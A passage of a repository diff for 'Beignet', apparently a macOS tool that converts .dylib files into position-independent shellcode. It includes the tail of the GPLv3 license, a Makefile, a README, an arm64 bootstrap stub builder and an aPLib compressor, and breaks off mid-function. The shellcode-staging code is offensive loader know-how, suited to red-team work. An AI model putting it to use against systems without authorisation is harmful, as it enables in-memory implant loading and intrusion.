more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
GO ?= go
|
||||
ZIG ?= zig
|
||||
|
||||
BIN ?= beignet
|
||||
RUNNER_BIN ?= testdata/runner/runner
|
||||
|
||||
GO_CACHE_DIR ?= $(CURDIR)/.go-cache
|
||||
ZIG_CACHE_DIR ?= $(CURDIR)/.zig-cache
|
||||
|
||||
export GOCACHE := $(GO_CACHE_DIR)
|
||||
export ZIG_GLOBAL_CACHE_DIR := $(ZIG_CACHE_DIR)
|
||||
export ZIG_LOCAL_CACHE_DIR := $(ZIG_CACHE_DIR)
|
||||
|
||||
.PHONY: all runner clean
|
||||
|
||||
all: $(BIN)
|
||||
|
||||
$(GO_CACHE_DIR):
|
||||
@mkdir -p $@
|
||||
|
||||
$(ZIG_CACHE_DIR):
|
||||
@mkdir -p $@
|
||||
|
||||
$(BIN): $(GO_CACHE_DIR)
|
||||
$(GO) build -o $@ ./cli
|
||||
|
||||
runner: $(RUNNER_BIN)
|
||||
|
||||
$(RUNNER_BIN): testdata/runner/runner.c $(ZIG_CACHE_DIR)
|
||||
$(ZIG) cc -target aarch64-macos -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f $(BIN) $(RUNNER_BIN)
|
||||
rm -f runner payload.bin
|
||||
rm -rf $(GO_CACHE_DIR) $(ZIG_CACHE_DIR)
|
||||
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
# Beignet
|
||||
|
||||
[Donut](github.com/sliverarmory/wasm-donut) for MacOS, converts .dylib files into MacOS PIC shellcode, can be used as a CLI or imported as a golang library.
|
||||
|
||||
### CLI
|
||||
|
||||
Convert a dylib to a raw shellcode buffer:
|
||||
|
||||
`./beignet --out payload.bin ./payload.dylib`
|
||||
|
||||
Optionally compress the staged dylib with aPLib (AP32):
|
||||
|
||||
`./beignet --compress --out payload.bin ./payload.dylib`
|
||||
|
||||
### Comple from Source
|
||||
|
||||
`make`
|
||||
|
||||
### Regenerating the embedded loader (darwin/arm64)
|
||||
|
||||
`go generate ./internal/stager`
|
||||
+84
@@ -0,0 +1,84 @@
|
||||
package beignet
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
keystone "github.com/moloch--/go-keystone"
|
||||
)
|
||||
|
||||
const arm64BootstrapLen = 21 * 4
|
||||
|
||||
var (
|
||||
arm64KeystoneOnce sync.Once
|
||||
arm64KeystoneEng *keystone.Engine
|
||||
arm64KeystoneErr error
|
||||
arm64KeystoneMu sync.Mutex
|
||||
)
|
||||
|
||||
func arm64Assembler() (*keystone.Engine, error) {
|
||||
arm64KeystoneOnce.Do(func() {
|
||||
arm64KeystoneEng, arm64KeystoneErr = keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
|
||||
})
|
||||
return arm64KeystoneEng, arm64KeystoneErr
|
||||
}
|
||||
|
||||
func assembleArm64(src string) ([]byte, error) {
|
||||
eng, err := arm64Assembler()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
arm64KeystoneMu.Lock()
|
||||
defer arm64KeystoneMu.Unlock()
|
||||
return eng.Assemble(src, 0)
|
||||
}
|
||||
|
||||
func emitMovImm64(sb *strings.Builder, reg string, imm uint64) {
|
||||
lo := uint16(imm & 0xffff)
|
||||
m16 := uint16((imm >> 16) & 0xffff)
|
||||
m32 := uint16((imm >> 32) & 0xffff)
|
||||
m48 := uint16((imm >> 48) & 0xffff)
|
||||
|
||||
fmt.Fprintf(sb, "movz %s, #0x%X\n", reg, lo)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #16\n", reg, m16)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #32\n", reg, m32)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #48\n", reg, m48)
|
||||
}
|
||||
|
||||
// buildArm64Bootstrap returns a small aarch64 stub which:
|
||||
// - sets x0 = base + payloadOffset
|
||||
// - sets x1 = payloadSize
|
||||
// - sets x2 = base + symbolOffset
|
||||
// - jumps to base + loaderEntryOffsetAbs using br
|
||||
//
|
||||
// The loader expects payload pointer/size in x0/x1 and the entry symbol pointer in x2.
|
||||
func buildArm64Bootstrap(payloadOffset, payloadSize, symbolOffset, loaderEntryOffsetAbs uint64) ([]byte, error) {
|
||||
var sb strings.Builder
|
||||
sb.Grow(512)
|
||||
|
||||
sb.WriteString("adr x9, #0\n")
|
||||
|
||||
emitMovImm64(&sb, "x0", payloadOffset)
|
||||
sb.WriteString("add x0, x0, x9\n")
|
||||
|
||||
emitMovImm64(&sb, "x1", payloadSize)
|
||||
|
||||
emitMovImm64(&sb, "x2", symbolOffset)
|
||||
sb.WriteString("add x2, x2, x9\n")
|
||||
|
||||
emitMovImm64(&sb, "x16", loaderEntryOffsetAbs)
|
||||
sb.WriteString("add x16, x16, x9\n")
|
||||
|
||||
sb.WriteString("br x16\n")
|
||||
|
||||
b, err := assembleArm64(sb.String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(b) != arm64BootstrapLen {
|
||||
return nil, fmt.Errorf("beignet: unexpected bootstrap length: got=%d want=%d", len(b), arm64BootstrapLen)
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
package aplib
|
||||
|
||||
import "errors"
|
||||
|
||||
var ErrCorrupt = errors.New("aplib: corrupt data")
|
||||
|
||||
// Depack decompresses a raw aPLib stream (without any safe header).
|
||||
func Depack(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
r := bitReader{src: src, pos: 1}
|
||||
out := make([]byte, 0, len(src))
|
||||
out = append(out, src[0])
|
||||
|
||||
var (
|
||||
r0 uint32 = ^uint32(0)
|
||||
lwm uint32 = 0
|
||||
)
|
||||
|
||||
for {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if bit == 0 {
|
||||
b, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
out = append(out, b)
|
||||
lwm = 0
|
||||
continue
|
||||
}
|
||||
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if bit == 0 {
|
||||
offs, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if lwm == 0 && offs == 2 {
|
||||
offs = r0
|
||||
ln, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if offs == 0 || int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
} else {
|
||||
if lwm == 0 {
|
||||
if offs < 3 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs -= 3
|
||||
} else {
|
||||
if offs < 2 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs -= 2
|
||||
}
|
||||
|
||||
lo, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs = (offs << 8) + uint32(lo)
|
||||
|
||||
ln, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if offs >= 32000 {
|
||||
ln++
|
||||
}
|
||||
if offs >= 1280 {
|
||||
ln++
|
||||
}
|
||||
if offs < 128 {
|
||||
ln += 2
|
||||
}
|
||||
if offs == 0 || int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
r0 = offs
|
||||
}
|
||||
|
||||
lwm = 1
|
||||
continue
|
||||
}
|
||||
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if bit == 0 {
|
||||
b, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
ln := uint32(2 + (b & 1))
|
||||
offs := uint32(b >> 1)
|
||||
if offs == 0 {
|
||||
break
|
||||
}
|
||||
if int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
r0 = offs
|
||||
lwm = 1
|
||||
continue
|
||||
}
|
||||
|
||||
// bit == 1: 1 1 1
|
||||
offs := uint32(0)
|
||||
for i := 0; i < 4; i++ {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs = (offs << 1) + uint32(bit)
|
||||
}
|
||||
if offs != 0 {
|
||||
if int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
} else {
|
||||
out = append(out, 0)
|
||||
}
|
||||
lwm = 0
|
||||
}
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
type bitReader struct {
|
||||
src []byte
|
||||
pos int
|
||||
tag byte
|
||||
bitCount int
|
||||
}
|
||||
|
||||
func (r *bitReader) getByte() (byte, bool) {
|
||||
if r.pos >= len(r.src) {
|
||||
return 0, false
|
||||
}
|
||||
b := r.src[r.pos]
|
||||
r.pos++
|
||||
return b, true
|
||||
}
|
||||
|
||||
func (r *bitReader) getBit() (uint8, bool) {
|
||||
if r.bitCount == 0 {
|
||||
if r.pos >= len(r.src) {
|
||||
return 0, false
|
||||
}
|
||||
r.tag = r.src[r.pos]
|
||||
r.pos++
|
||||
r.bitCount = 8
|
||||
}
|
||||
bit := (r.tag >> 7) & 1
|
||||
r.tag <<= 1
|
||||
r.bitCount--
|
||||
return bit, true
|
||||
}
|
||||
|
||||
func (r *bitReader) getGamma() (uint32, bool) {
|
||||
v := uint32(1)
|
||||
for {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
v = (v << 1) + uint32(bit)
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
if bit == 0 {
|
||||
return v, true
|
||||
}
|
||||
}
|
||||
}
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
package aplib
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"math/bits"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrEmptyInput = errors.New("aplib: empty input")
|
||||
ErrTooLarge = errors.New("aplib: input too large")
|
||||
)
|
||||
|
||||
// Pack compresses src into the raw aPLib bitstream format expected by aP_depack().
|
||||
//
|
||||
// This implements a compatible (not necessarily optimal) encoder which is sufficient
|
||||
// for the loader to depack staged dylibs.
|
||||
func Pack(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrEmptyInput
|
||||
}
|
||||
if uint64(len(src)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
w := newBitWriter(src[0])
|
||||
lastWasMatch := false // LWM=0 at stream start
|
||||
|
||||
const (
|
||||
hashBits = 16
|
||||
minMatchLen = 4
|
||||
)
|
||||
|
||||
hashTable := make([]int, 1<<hashBits) // stores pos+1
|
||||
|
||||
hash4 := func(b []byte) uint32 {
|
||||
v := binary.LittleEndian.Uint32(b)
|
||||
return (v * 2654435761) >> (32 - hashBits)
|
||||
}
|
||||
|
||||
// Seed with position 0 if we can hash it.
|
||||
if len(src) >= 4 {
|
||||
h := hash4(src[:4])
|
||||
hashTable[h] = 0 + 1
|
||||
}
|
||||
|
||||
pos := 1
|
||||
for pos < len(src) {
|
||||
bestOff := 0
|
||||
bestLen := 0
|
||||
|
||||
if pos+minMatchLen <= len(src) {
|
||||
h := hash4(src[pos : pos+4])
|
||||
candidate := hashTable[h] - 1
|
||||
hashTable[h] = pos + 1
|
||||
|
||||
if candidate >= 0 && candidate < pos {
|
||||
off := pos - candidate
|
||||
if off > 0 {
|
||||
l := 0
|
||||
for pos+l < len(src) && src[candidate+l] == src[pos+l] {
|
||||
l++
|
||||
}
|
||||
if l >= minMatchLen {
|
